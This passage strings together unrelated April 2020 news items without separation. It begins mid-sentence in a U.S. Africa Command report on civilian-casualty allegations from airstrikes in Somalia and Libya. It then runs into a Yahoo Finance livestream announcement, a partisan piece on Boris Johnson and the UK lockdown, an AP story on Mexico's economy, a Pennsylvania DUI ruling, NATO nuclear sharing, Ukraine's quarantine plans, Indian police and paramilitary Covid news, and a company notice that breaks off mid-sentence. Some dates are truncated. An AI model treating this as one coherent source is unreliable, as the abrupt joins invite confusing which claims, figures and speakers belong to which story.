process and status of closed and ongoing allegations," said Townsend. "It is important that our partners and the public understand our commitment to minimizing collateral damage while conducting military operations. Where we come up short, we will admit it openly." U.S Africa Command, in coordination with African partner nations, reduce threats to the United States and our partners and conducts operations to counter violent extremist organizations (VEOs) in order to enhance regional security in Somalia, Libya, and other nations. On occasion, civilian casualty allegations surface after U.S. operations including airstrikes. These allegations arise through self-reporting by our forces, traditional and social media reporting, non-government organizations, and through internal oversight processes. In addition, input is received via the U.S. Africa Command website contact link that was established so individuals can report allegations and provide feedback. As an added measure U.S. Africa Command will implement a webpage that enables the ability to report allegations in Somali, Arabic, and additional languages to broaden the ability to receive and assess information. This should be available by the end of May or soon thereafter. "There is no secret air or shadow war as some allege," said Townsend. "How can there be when the whole world knows we are assisting Somalia in their fight against al-Shabaab terrorists? When we publically announce every single airstrike we conduct? When we publically admit to our mistakes? Unlike al-Shabaab we do everything in our power to avoid civilian casualties and that is not changing on my watch." U.S. Africa Command takes all allegations seriously and has processes to conduct thorough assessments using all available information that may factor into findings. In many cases, the command's information collection efforts are based on layered and reliable intelligence sources that are not available to the public to preserve operations security. This may ultimately lead to perceived discrepancies between the command's findings and those of others. U.S. operations are designed to provide assistance to African ground forces, disrupt terrorist plans, and create conditions to achieve progress along other lines of effort to include governance and economic development. At the same time, they eliminate part of a threat wishing harm on the U.S., African partners, and the international community. "The growing threat in Africa from terrorist networks is significant and impacts not only Africans, but also the U.S. and our international allies," said Townsend. "Our kinetic operations in Africa follow a strict, disciplined, and precise process. Nobody is more devoted to the preservation of innocent life than the U.S. military, and our actions and processes reflect that fact." Summary of Results From February 1, 2019, to March 31, 2020, U.S. Africa Command conducted 91 airstrikes against Violent Extremist Organizations in Somalia and Libya. During this period, U.S. Africa Command received 70 allegations about 27 separate possible civilian casualty incidents with approximately 90 alleged civilian casualties. As of March 31, 2020, 20 alleged incidents are closed, and seven incidents are still under review. One of the 20 closed allegations that stemmed from this period has been substantiated by the command. ** New Substantiated Allegation ** Regarding the February 23, 2019 strike, we assess that it is likely that two civilians were regrettably and unintentionally killed and three were injured as a result of the airstrike that also killed two al-Shabaab terrorists who were the intended targets. "While we follow very precise and rigorous standards, in instances where we fail to meet our expectations, we will admit the mistake," said Townsend. "Regrettably two civilians were killed and three others injured in a February 2019 airstrike. We have the highest respect for our Somali friends and we are deeply sorry this occurred." On February 24, 2019, the command received allegations from online media sources claiming two (2) civilians were killed and two (2) civilians injured as a result of a U.S. airstrike in the vicinity of Kunyo Barrow, Somalia, on February 23, 2019. An initial allegation claimed dozens were alleged to have been killed but only provided specific information regarding four alleged civilian casualties. AFRICOM received a follow-on allegation of this incident on January 21, 2020, from a foreign non-government organization. After thorough review, several of the allegations were assessed to be substantiated. Regrettably, two (2) civilians were likely and unintentionally killed and three (3) injured as a result of the airstrike. It is assessed the deaths and injuries occurred due to the effects of U.S. munitions or secondary explosions caused by explosives stored by al-Shabaab at the location of the strike. The February 23, 2019, airstrike was designed to degrade the al-Shabaab terrorist group and the command's assessment is that two terrorists, the intended targets, were also killed as a result of this airstrike. In adherence to established procedures, the command has notified the Federal Government of Somalia and appropriate U.S. authorities verifying the credibility of the allegations and the fact that two civilians were unintentionally killed and three were injured as a result of an airstrike. Previously Substantiated Allegation The first substantiated instance of civilian casualties by the command occurred on April 1, 2018, when two civilians were regrettably and unintentionally killed during a U.S. airstrike in the vicinity of El Buur, Somalia, as previously released. Explanation of Assessments and Terms The results of each allegation assessment fall into one of two categories, "substantiated" or "unsubstantiated." A "substantiated" assessment means that, based on all reasonably available information, taking into account the totality of the circumstances, U.S. Africa Command determines that U.S. military operations more likely than not resulted in the death or injury of civilians. An "unsubstantiated" assessment means that, based on all reasonably available information, taking into account the totality of the circumstances, U.S. Africa Command finds that U.S. military operations did not result in the death or injury of civilians or there is insufficient information to make a determination. "Unsubstantiated" is not intended to deny the possibility that a civilian casualty incident occurred, nor is it intended as a comment on the credibility of the source of the allegation. The term "strike" can be defined as U.S. munitions of any type employed by U.S. military forces under the authority of U.S. Africa Command. The time required to properly assess an allegation of civilian casualties varies depending on the specific incident. Each allegation is unique and considered as such, regardless of the source of the allegation. Depending on the allegation, the time to complete a thorough assessment varies; however, the focus is always to ensure that the assessment is thorough and diligent. Closed incidents from 1 February 2019 through 31 March 2020: February 3, 2019, AFRICOM received one allegation from an online media source claiming an unspecified number of civilians were killed from an airstrike in the vicinity of Janay Abdalle, Somalia, on February 1, 2019. The allegation does not state who conducted the airstrike. After review, the allegation was assessed to be unsubstantiated because no U.S military strike took place at the alleged location. February 24, 2019, the command received allegations from online media sources claiming two (2) civilians were killed and two (2) civilians injured as a result of a U.S. airstrike in the vicinity of Kunyo Barrow, Somalia, on February 23, 2019. The initial allegation claimed dozens were alleged to have been killed but only provided specific information regarding four alleged civilian casualties. AFRICOM received a follow-on allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, several of the allegations were assessed to be substantiated. Regrettably, two (2) civilians were likely and unintentionally killed and three (3) injured as a result of the airstrike. March 18, 2019, AFRICOM received two allegations from an online media source claiming between three to four (3-4) civilians were killed as a result of a U.S. airstrike in the vicinity of Afgooye, Somalia, on March 18, 2019. AFRICOM received three duplicate allegations of this incident on April 29, 2019, May 7, 2019, and August 29, 2019, from online media sources, and one duplicate allegation again on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated. U.S. intelligence confirmed the identity of the individuals as al-Shabaab militants involved in logistics operations. The vehicle and occupants were observed in support of known al-Shabaab locations, and strike video indicates that the effects of the strike were limited to the vehicle. It is assessed with a high degree of confidence that no civilian casualties occurred as a result of U.S. military action. April 4, 2019, AFRICOM received one allegation from an online media source claiming one (1) civilian was killed and six (6) civilians injured as a result of a U.S. military operation and airstrike in the vicinity of Ugunji, Somalia on April 3, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or location. May 10, 2019, AFRICOM received one allegation from an online media source claiming three (3) civilians were injured as a result of a U.S. airstrike in the vicinity of Farsooley, Somalia, on May 9, 2019. After review, the allegation was assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or location. June 8, 2019, AFRICOM received one allegation from an online media source claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Tortorrow, Somalia, on June 5, 2019. After review, the allegation was assessed to be unsubstantiated. U.S. intelligence identified and located a high-level, al-Shabaab financier. U.S. assets executed a strike on the individual in an isolated area separate from the civilian populace. This is contrary to the allegation which stated the strike occurred at the man's home. It is assessed with a high degree of confidence that no civilian casualties occurred as a result of U.S. military action. June 26, 2019, AFRICOM received two allegations from two social media accounts claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Kunyo Barrow, Somalia, on June 25, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, the allegation was assessed to be unsubstantiated. Contrary to allegations that the individual killed was a civilian, U.S. intelligence confirmed the identity of the individual as an al-Shabaab facilitator. The vehicle and occupant were observed in support of known al-Shabaab locations and personnel. Strike video indicates that the effects of the airstrike were limited to the vehicle as the strike occurred in an isolated area. It is assessed with a high degree of confidence that civilian casualties did not occur as a result of U.S. military action. July 11, 2019, AFRICOM received two allegations from two social media accounts claiming five (5) civilians were killed as a result of U.S. airstrikes in the vicinity of Jilib and Basra, Somalia. After review, the allegations were assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or locations. September 23, 2019, AFRICOM received one allegation from an online media source claiming an unspecified number of civilians were killed as a result of a U.S. airstrike in the vicinity of Murzuq, Libya, on September 19, 201 After review, the allegation was assessed to be unsubstantiated. On September 19, 2019 a kinetic strike was executed against a compound which U.S. intelligence confirmed was a terrorist facilitation and meeting location consisting of ISIS-Libya terrorist leadership and militants. Significant and multiple sources of intelligence was compiled to clearly identify the nature of the target. It is assessed that civilian casualties did not occur as a result of U.S. military action. September 23, 2019, AFRICOM received a report from a foreign non-government organization claiming thirteen (13) civilians were killed as a result of a U.S. airstrike in the vicinity of Janaale, Somalia, on February 11, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated because no U.S. military strike took place at the alleged time and location. September 23, 2019, AFRICOM received a report from a foreign non-government organization claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Qoryooley, Somalia, on February 23, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated because no U.S. military strike took place at the alleged time and location. October 3, 2019, AFRICOM received one allegation from an online media source claiming two (2) civilians were killed and one (1) injured as a result of an airstrike in the vicinity of Lower Jubba, Somalia. After review, the allegation was assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or at the location. October 25, 2019, AFRICOM received one allegation from an online media source claiming three (3) civilians were killed as a result of a U.S. airstrike in the vicinity of the Golis Mountains, Somalia, on October 25, 2019. AFRICOM received two duplicate allegations of this incident from an online media source on October 27, 2019, and again on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated. On October 25, 2019 a kinetic strike was executed against three individuals which U.S. intelligence confirmed were ISIS-Somalia leadership and media operatives. Significant intelligence was compiled to clearly identify the nature and location of the individuals targeted. Strike images confirmed that the effects were limited to the three individuals. It is assessed with a high degree of confidence that civilian casualties did not occur due to U.S. military action. November 19, 2019, AFRICOM received one allegation from an online media source claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Kunyo Barrow, Somalia, on November 19, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated. On November 19, 2019 a kinetic strike was executed against one individual which U.S. intelligence confirmed was both an al-Shabaab leader and weapons supplier. Strike images confirmed that the effects were limited to the one individual. It is assessed with a high degree of confidence that no civilian casualties occurred as a result of U.S. military action. December 30, 2019, AFRICOM received one allegation from an online media source claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Kunyo Barrow, Somalia, on December 29, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign non-government organization. After review, the allegations were assessed to be unsubstantiated. On December 29, 2019 two airstrikes were executed against two individuals (one individual per strike) which U.S. intelligence confirmed were affiliated with al-Shabaab. Intelligence identified the individuals' affiliation with the organization which was further corroborated during post-strike assessment. Strike video confirmed that the effects were limited to the two individuals. It is assessed with a high degree of confidence that no civilian casualties occurred as a result of U.S. military action. December 30, 2019, AFRICOM received an allegation from an online media source claiming two (2) civilians were killed as a result of a U.S. military operation in the vicinity of Shanta Baraako, Somalia, on July 12, 2019. After review, the allegation was assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or location. January 21, 2020, AFRICOM received a report from a foreign non-government organization claiming up to five (5) civilians were killed as a result of a U.S. airstrike in the vicinity of Jilib, Somalia, on January 20, 2019. After review, the allegation was assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or location. January 21, 2020, AFRICOM received a report from a foreign non-government organization claiming two (2) civilians were killed and four (4) injured as a result of a U.S. airstrike in the vicinity of Gambole, Somalia, on March 8, 2019. After review, the allegation was assessed to be unsubstantiated because no U.S. military strike took place on the alleged date and location. January 21, 2020, AFRICOM received a report from a foreign non-government organization claiming two (2) civilians were killed and five (5) injured as a result of a U.S. airstrike in the vicinity of Iskashubun, Somalia, on July 3, 2019. After review, the allegation was assessed to be unsubstantiated because no U.S. military strike took place on the alleged date or location. January 28, 2020, AFRICOM received three allegations from an online media source and social media accounts claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Jilib, Somalia, on January 27, 20 After review, the allegations were assessed to be unsubstantiated. On January 27, 2020 an airstrike was executed targeting an al-Shabaab operative associated with the al-Shabaab command and control network. U.S. intelligence sources confirmed the role of the targeted individual. Strike video confirmed that the targeted individual was the only casualty of the strike. It is assessed with a high degree of confidence that no civilian casualties occurred as a result of U.S. military action. Open incidents from 1 February 2019 through 31 March 2020: September 23, 2019, AFRICOM received a report from a foreign non-government organization claiming seven (7) civilians were killed and one (1) injured as a result of a U.S. airstrike in the vicinity of Awdheegle and Dara Salaam, Somalia, on March 11, 2019. AFRICOM received a duplicate allegation of this incident on January 21, 2020, from a foreign Non-Government Organization. February 3, 2020, AFRICOM received two allegations from online media sources claiming one (1) civilian was killed and two (2) injured as a result of a U.S. airstrike in the vicinity of Jilib, Somalia, on February 2, 2020. AFRICOM received two duplicate allegations of this incident from social media accounts on February 4, 2020, and one duplicate allegation of this incident from an online media source on February 10, 2020. February 18, 2020, AFRICOM received three allegations from an online media source and social media account claiming two (2) civilians were injured as a result of a U.S. airstrike in the vicinity of Jilib, Somalia, on February 17, 2020. February 25, 2020, AFRICOM received five allegations from online media sources and social media accounts claiming one (1) civilian was killed as a result of a U.S. airstrike in the vicinity of Jilib, Somalia, on February 24, 2020. February 28, 2020, AFRICOM received three allegations from an online media source and social media accounts claiming two (2) civilians were injured as a result of a U.S. airstrike in the vicinity of Kunyo Barrow, Somalia, on February 28, 2020. March 10, 2020, AFRICOM received two allegations from online media sources claiming four (4) civilians were killed as a result of a U.S. airstrike in the vicinity of Janaale, Somalia. AFRICOM received three duplicate allegations of this incident from online media sources on March 11, 2020, three duplicate allegations of this incident from online media sources on March 12, 2020, and one duplicate allegation of this incident from an online media source on March 19, 2020. March 28, 2020, AFRICOM received one allegation from an online media source claiming two (2) civilians were killed as a result of a U.S. airstrike in the vicinity of Buulo Fulaay, Somalia, on March 27, 2020. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Yahoo Finance, Verizon Medias leading business and financial news site, returns as the exclusive livestream host of the annual Berkshire Hathaway Shareholders Meeting on Saturday, May 2nd beginning at 1:30AM IST. Watch the live stream here: https://finance.yahoo.com/brklivestream/ Yahoo Finances exclusive livestream of the meeting will be the only destination for investors, business professionals, journalists and consumers alike to tune in from the comforts of their homes. Viewers can watch Chairman and CEO Warren Buffett share his candid outlook on the economy, the administration, todays markets, the company, and more. Guru Gowrappan, CEO of Verizon Media, said, During these uncertain times, its more important than ever to provide our audiences with trusted information on a trusted network. Leaders like Warren Buffett provide a unique perspective for the global community during this time. Yahoo Finances return as the exclusive livestream partner on this influential day is indicative of our position as a leading business platform. We are thrilled and committed to delivering Berkshire Hathaways Shareholder Meeting to people around the world. Marc Hamburg, Chief Financial Officer & Senior Vice President, Berkshire Hathaway, said, 2020 marks our fifth year partnering with Yahoo Finance as the exclusive livestream host of the Berkshire Hathaway Shareholders Meeting. This years live stream is more important than ever, as our shareholders can tune in to join us in Omaha from the safety of their homes. Berkshire Hathaways Annual Shareholders Meeting is a defining event for the business community as thousands of people from around the world make the pilgrimage to Omaha, Nebraska to attend the Woodstock for Capitalists. However, due to the worldwide impact of COVID-19 all special events, public gatherings, as well as shareholder and guest attendance for the meeting have been cancelled to continue to follow recommended guidelines. Yahoo Finance continues to produce its eight-hour daily programming remotely and this special livestream will be produced remotely as well. On Saturday, May 2nd, Yahoo Finance Editor-in-Chief Andy Serwer, along with on-air hosts Jen Rogers and Myles Udland, and on-air correspondent Julia La Roche will provide insight, analysis and news-making interviews via these remote operations. The schedule of live coverage is below, with special guests and interviews for the pre- and post-shows to be announced at a later date. Yahoo Finance Livestream Programming Schedule: Thursday, April 30th: Yahoo Finance will air a special one-hour exclusive interview with Warren Buffett as part of the popular Influencers with Andy Serwer series Friday, May 1st: 4:30-5PM ET: Berkshire Hathaway Annual Shareholder Meeting Preview Special Saturday, May 2nd: 4:00-4:45PM ET: Yahoo Finance Pre-Show anchored by Andy Serwer, Jen Rogers, Myles Udland and Julia La Roche 4:45PM ET: Berkshire Hathaway Shareholder Meeting, followed by Yahoo Finance Post-Show 2020 marks Yahoo Finances fifth year as the exclusive livestream host. Once again, the global livestream will be available in both English and Mandarin, with VOD replay available following the meeting. An audio replay of the meeting and accompanying interviews will also be available via podcast on iTunes and other podcast stores starting Monday, May 4th. Yahoo Finance is available on desktop and mobile web via finance.yahoo.com, the Yahoo Finance app, Android TV, Apple TV, Fire TV, Samsung TV+, Roku and is now available on linear broadcast via Fios. Yesterday, Boris Johnson returned to Downing Street three weeks after being rushed into hospital suffering with COVID-19 and nearly dying in an intensive care unit. The big business media spread the word as to what was wanted from Johnsons return. The Daily Telegraph headlined, Johnson to ease the lockdown this week, as its editorial insisted, the PM must lead us out of this impasse. The Daily Mail headlined, Boris bounces back to get Britain moving. The Times led with a piece: Ministers plan how to get Britain back to business. An op-ed by Max Hastings was crudest in setting down the message from business circles. We need to toughen up for the pain ahead, wrote the aging reactionary. We are slowly recognising realities about COVID-19. There will be no tidy, early ending: it will ebb and flow, with resurgences and possible heavier death counts, for months and perhaps years. "Yet the chances that it will kill a healthy, youngish person are less than those of their being eaten by a great white shark It is boring to bang on about the war [!], but hard not to do so, because it was the last period at which our leaders faced similar huge life-and-death decisions. Every course involved risk. Duty required ministers and commanders to choose the least bad from a range of unwelcome options, accepting the need to pay a price in lost lives in the greater interest of the nation. Johnson began his day with a speech outside Downing Street to reassure the capitalist class that his government would move towards ending the lockdown in the weeks ahead. But he spoke to them directly to warn that the conditions for doing so openly did not yet exist. Just two days after the UK reached the grim milestone of 20,000 deaths and headed toward becoming the second worst impacted country in the world, thanks to Johnsons belatedly modified herd immunity policy, he appealed for more time to change the political narrative and establish facts on the ground by allowing businesses to begin openingwithout officially ending the lockdown. We are now beginning to turn the tide and making progress, he claimed, under conditions in which the Financial Times has calculated that the real number of excess deaths caused by COVID-19 was over 41,000 by April 21, and another estimate puts the real number at over 61,000. He said there were fewer hospital admissions, fewer COVID patients in ICU, and real signs now that we are passing through the peak [W]e defied so many predictions, we did not run out of ventilators or ICU beds, we did not allow our NHS to collapse. As Johnson spoke, Nursing Notes announced that at least 134 health and social care workers are now believed to have died of COVID-19an increase of six on the previous day. This yawning chasm between rhetoric and reality prompted Johnson to directly address British business, rather than continue to feign concern for working people. To the shopkeepers, to the entrepreneurs, to the hospitality sector, to everyone on whom our economy depends, I understand your impatience. I share your anxiety. And I know that without our private sector, without the drive and commitment of the wealth creators of this country, there will be no economy to speak of. There will be no cash to pay for our public services, no way of funding our NHS. Johnson shared the urgency to resume economic activity and making profit: And yet we must also recognise the risk of a second spike, the risk of losing control of that virus and letting the reproduction rate go back over one. Because that would mean not only a new wave of death and disease, but also an economic disaster, and we would be forced once again to slam on the brakes across the whole country, and the whole economy, and reimpose restrictions in such a way as to do more and lasting damage. Johnson knows that the propaganda sheets of the ruling class have been ramping up the drumbeat for a mass return to work for weeks, in the full knowledge that this can end only in a second wave of the pandemic that will likely claim more lives than the first. But he was warning them of the political, rather than the economic, consequences, given the entrenched opposition to such a move in the working class. Polls published by Sky News last week found that over half the population would not support key parts of society and the economy being reopened in the next few weeks. Some 51 percent wanted primary schools to stay shut, 53 percent wanted secondary schools to stay shut, 67 percent wanted to keep people working from home and 72 percent wanted to keep older people indoors. But despite cautioning big business to contain your impatience, the government is allowing numerous companies to proceed with a phased return to work, led by building corporations and manufacturers, alongside high street names. This would continue, as the UK begins gradually to refine the economic and social restrictions and one by one to fire up the engines of this vast UK economy. Over the weekend, it emerged that McDonalds was making plans to gradually reopen its 1,000-plus high street restaurants, while bakery chain Greggs announced Monday it will open 20 of its stores next weekwith a further 700 of its over 2,000 branches to follow. Speaking to the Sunday Times, Steve Morgan, the former CEO of housebuilder Redrow, who donated 1 million to Johnsons general election campaign, said, Were actually in danger that the medicineif you want to call the lockdown thatis more harmful than the cure. Implementing the desired agenda of a full return to work depends above all on the collusion of the Labour Party and the trade unions. The last part of Johnsons speech was a paean to national unity, which will involve reaching out to build the biggest possible consensus across business, across industry, across all parts of our United Kingdom, across party lines, bringing in opposition parties as far as we possibly can. The Labour Party has emerged as the most open and consistent advocate of a return to work, given the crisis facing the Tory government. In preparation for Johnsons return, Labour leader Sir Keir Starmer wrote him a letter Saturday stating that he would continue to engage constructively with the government. Starmers major concern was that the Tories had not provided an exit strategy and the UK government has fallen behind Wales and Scotland, which have both published details on this important matter. He concluded, This [global pandemic] is a national crisis and therefore needs a national response. Will you therefore commit to publishing an exit strategy as soon as possible? Starmer called on Johnson to commit to holding talks with teachers, trade unions, businesses, local authorities [which Labour controls in all the urban centres] and community leaders about how such a strategy can be implemented. Before the day was out, the Guardian reported, Ministers have held a series of high-level meetings with trades unions and business leaders amid fears that millions of people will be too fearful to return to work as pressure intensifies on the government to publish a path out of the national lockdown. The unions will serve as the industrial police force to oversee a return to work across industry, with the newspaper reporting that union leaders were involved in seven sector-by-sector meetings chaired by the business secretary, Alok Sharma, in recent daysafter concerns arose in Whitehall that many employees may be reluctant to return to the workplace, even when the government gives the green light. MEXICO CITY (AP) Mexican President Andres Manuel Lopez Obrador said Sunday there will be no huge economic stimulus program as the country faces the threat of coronavirus-induced crisis almost certainly unlike any it has seen in the past century. Instead, the administration will expand social programs, continue to prop up the heavily indebted state-owned oil company, deepen the governments austerity campaign and do everything possible to avoid taking on more debt. There is a lesson that we have learned well and that we dont forget, Lopez Obrador said to an empty and echoing National Palace patio. An economic model that only benefits minorities does not yield general well-being, but on the contrary engenders public misery and violence. The economic reactivation plan remains consistent with his administrations priority of helping Mexicos most vulnerable through greater public spending on social welfare, keeping people employed and cutting costs in the sprawling government, he said. As an example, he said the top level of government bureaucrats from undersecretaries on up to him will have their salaries reduced and give up their annual year-end bonuses. Lopez Obrador promised to create 2 million new jobs over the next nine months, a seemingly incredible goal in a stagnant economy, and he gave no details on how he would do it. He emphasized his signature infrastructure projects of a Mexico City airport, a new oil refinery and a tourist train that will circle the Yucatan peninsula will continue. The last, which has yet to begin construction, promises to create 30,000 jobs for each of its seven segments, he has said. Other government programs pay farmers to work their land or create construction jobs through urban renewal projects improving drainage and paving roads. Lopez Obrador quoted U.S. President Franklin D. Roosevelt, who he described as that countrys best president: We have always known that heedless self interest was bad morals, we now know that it is bad economics. Story continues Reaction from Mexico's private sector was swift. Gustavo de Hoyos, president of Coparmex, an association of business owners, criticized the presidents plan immediately via Twitter: It announced no relevant measure to confront the Covid-19 crisis. In the middle of an emergency he read a piece of ideological dissemination, attacking ghosts from the past and abandoning his duty as head of state to unite the nation." Before the speech Sunday, another association of Mexican industries, Concamin, warned in a statement that the pandemic could cause Mexicos worst recession in a century. It called for support to businesses to avoid the temporary closure of hundreds of thousands of them. Thus far, Lopez Obrador has mostly talked about protecting the countrys poorest and placed special emphasis on those working in the informal half of Mexicos economy. The industrial chamber made multiple references to the governments support being widely inclusive. Lopez Obrador has praised billionaire Carlos Slim for his commitment to not laying off any workers during the crisis and urged other business owners to follow his example. The president has said that only workers in essential businesses should still be going to work and that those who stay at home should continue to be paid. But he tried to appear open while not making any promises. Last week he received several of the countrys top businessmen and on Saturday he tweeted a photograph of a video call he had with BlackRock Chairman and CEO Larry Fink, during which they exchanged opinions about the coronavirus and the deterioration of the global economy. Still, it remained unclear how an already weak economy, suddenly paralyzed by the pandemic, would be able to restart after what could be months of social distancing restrictions. The federal government has urged non-essential business sectors to keep their workers at home hoping to slow the virus' spread to a level that won't overwhelm the deteriorated public health system. Even before the pandemic, Mexicos economy had already been in recession. Then last week, Mexicos Treasury predicted the countrys economy will contract as much as 3.9% in 2020 because of the pandemic, and private analysts are making even direr predictions. The Bank of America predicted Thursday that Mexicos GDP could contract 8% this year. That would be a bigger downturn than during the 2009 global recession, complicated in Mexico by the H1N1 pandemic, when GDP decreased 6.5%. It would also be worse than the December 1994 peso crisis, following which the countrys GDP fell 6.2% in 1995. A close economic partner of the United States, Mexico will expect to receive some benefit from the huge $2 trillion stimulus package approved there. On Sunday, Lopez Obrador continued to strike an optimistic tone. This crisis is passing, transitory, he said of the pandemic. Soon normality will return. We will overcome the coronavirus. We will reactivate the economy and Mexico will continue standing showing the world its glory and its greatness. Mexico has reported 94 deaths related to the virus and more than 2,100 confirmed infections. For most people, the coronavirus results in mild or moderate symptoms, such as fever and cough that clear up in two to three weeks. But it can cause more several illness, including pneumonia and death, for some, especially older adults and people with existing health problems. The new coronavirus has caused a global pandemic that has sickened at least 1.2 million, killed more than 69,000 worldwide, crippled economies and forced restrictions on the movement of millions of people in an effort to stop the virus from spreading and overwhelming health care systems. A police officers mere hunch that something illegal was afoot didnt justify a traffic stop that led to a Cumberland County womans conviction and prison sentence for drunken driving, a state Superior Court panel has ruled. So, in an opinion by Judge Deborah Kunselman, the state court overturned Amy Walletts DUI conviction and jail term, ordered suppression of the evidence gained from the stop in Lower Allen Township and sent the case back to county court for what is likely to be an acquittal. Wallett, 25, of Mechanicsburg, was pulled over in November 2018 by an officer who was dispatched to a call about an illegal fireworks display, Kunselman noted. She said the officer began following Walletts car and later testified she became convinced Wallett was trying to give her the slip by turning down several streets. From the officers observations, Ms. Wallett violated no traffic laws, exhibited no indications that she was DUI, and had no apparent damage or other defect on her car that would prompt the officer to lend aid, Kunselman wrote. She noted the officer testified that she was especially suspicious because burglaries had occurred in the neighborhood through which Wallett was driving. The officer offered no testimony to substantiate her logic, the judge wrote. Nothing tied Ms. Wallettto either the fireworks investigation or the months-old burglary, beyond the officers subjective belief that Ms. Wallets route was odd. Wallett was convicted of DUI and sentenced to 3 days to 6 months in prison after a county judge found the officer had reasonable suspicion to pull her over. That call explicitly disregarded the civil rights protections of the U.S. and the Pennsylvania constitutions, Kunselman concluded. The officers suspicion that Ms. Wallett must have been up to something, because she was driving around the area in a pattern that the officer considered odd, is nothing more than a hunch that Ms. Wallett might be up to something illegal, Kunselman wrote. This officer merely saw a woman driving her car at night. Ms. Wallett was free to do so with her constitutional rights intact. . A strategy for the joint use of nuclear weapons is the best guarantee of security, said NATO Secretary-General Jens Stoltenberg. Germany plans to purchase F-18 fighter jets in the US, which will be used as part of this strategy, Deutsche Welle reported. In a discussion around Germanys procurement of new US warplanes, NATO Secretary-General Jens Stoltenberg highlighted the importance of a joint nuclear weapons strategy. This strategy is the best guarantee of security, this is NATOs nuclear deterrence, he told DPA on Tuesday. Stoltenberg noted that NATO's goal is a world without nuclear weapons. We are for balanced, not unilateral nuclear disarmament, he noted adding that as long as there are nuclear weapons, NATO will remain a nuclear alliance. A nuclear weapons sharing strategy brings together some partners, he said referring to the actions in the nuclear field, in which some partners provide aircraft, logistics, and support, while others provide weapons systems. All this together provides NATO with nuclear deterrence, he added welcoming in this regard the German intention to purchase new fighters from the US. During the Cold War, the US deployed a significant number of nuclear warheads in Western Europe. After 1991, most of them were taken out, but about 150 bombs remain on the continent and are stored in various countries, including Italy, Belgium, the Netherlands, Germany, and Turkey. The base of the 33rd tactical squadron of the German Air Force is located in Buchel in western Germany. If necessary, German pilots on Tornado aircraft could deliver American bombs to the target. This strategy for sharing nuclear weapons is part of the NATO program, which includes Germany and the US. Neither Washington nor Berlin officially confirms the presence of American nuclear weapons in Germany. German defense minister Annegret Kramp-Karrenbauer plans to purchase 93 Eurofighters and 45 F-18s to replace Tornado. F-18 aircraft will be involved in the US nuclear weapons sharing strategy. Only tentative plans are being discussed while two main dates are on the table: May 12 and May 18. Ukraine is preparing for a phased easing of quarantine introduced over the COVID-19 epidemic. The Health Ministry's preliminary plan says parks, squares, recreation areas, hairdressers' salons, stationery shops, car washes and bike shops, gyms, hotels, cinemas and theaters will be available to citizens from May 12. Subways in three Ukrainian cities, as well as restaurants, cafes, and art facilities will fully reopen in late May and early June, the Ukrainian news outlet Obozrevatel reports. Journalists claim the easing will only be applied to institutions adhering to public safety requirements. The plan will enter into force if the coronavirus rate in Ukraine doesn't grow over 5% daily. Since April 23, the rate hasn't increased at a faster pace, so certain easing could be introduced from May 3. However, according to the Cabinet of Ministers, the first step can only be taken from May 12. Read alsoMayor Klitschko presents quarantine easing plan for Kyiv Now only tentative plans are being discussed. There are two dates on the table: May 12 and May 18. Most likely, the government will implement the first three stages of quarantine easing around those dates. "The full easing will take place only when isolated cases of infection will be observed. Then we can assume there is no more coronavirus in Ukraine. But no one in the world can tell you the exact date. We are still seeing quite encouraging dynamics. It was expected there would be a spike last week. We had another 578 cases on April 23. This was an anti-record. There's another good news: it was expected there could be even more cases, but immediately after that, the incidence declined," a source in the Cabinet told journalists. A Central Reserve Police Force (CRPF) sub-inspector, who was admitted at Safdarjung Hospital after he tested positive for Covid-19 five days back, succumbed on Tuesday, officials said. This is the first death due to the Covid-19 pandemic among the 10 lakh personnel strong central paramilitary forces that are deployed for border security, counter-insurgency and law and order duties across the country. Officials cited above said the sub-Inspector, who was posted with the 31st battalion of the forces in New Delhi, was suffering from co-morbid conditions like diabetes and hypertension. Patients with these conditions are more vulnerable to the Covid-19 infection. At least 31 other personnel of this battalion have been admitted at different hospitals after they were suspected to have contracted the virus from another colleague found positive in their camp. There have been over 60 positive cases of Covid-19 in all the central paramilitary forces till now. Earlier, cases have been reported in the Border Security Force (BSF) and Central Industrial Security Force (CISF). Some of them have been cured too. Ahmedabad: In yet another attack on coronavirus warriors, a policeman was injured after locals hurled stones and attacked the security personnel who were trying to enforce lockdown in an area of Gujarat's Surat on Tuesday morning. At least five persons have been detained for the attack on the policemen, said Surat's Deputy Commissioner of Police R P Barot. As per a report, locales allegedly threw stones at the security personnel and damaged properties worth lakhs in a fit of rage. They were angry after they saw a PCR van arriving in the area to enforce the lockdown. "We a sent a PCR van in the area after coming to know that people were roaming around and not adhering to the lockdown norms. When the police asked locals to stay indoors, some of them got angry and started throwing stones at the policemen," Barot told PTI. Following the incident, an additional force was sent to the area and the situation was brought under control. This is the second incident of attack on a police team in Surat. Earlier on March 30, over 90 labourers were arrested after they clashed with police. The labourers had assembled in large numbers on the streets in Ganesh Nagar and Tirupati Nagar in the city and demanded transportation arrangements to go to their hometowns amid nation-wide lockdown. Regulatory News: THERACLION (Paris:ALTHE) (ISIN: FR0010120402; Mnemo: ALTHE, eligible PEA-SME), an innovative company specializing in the development of medical equipment for treatment by 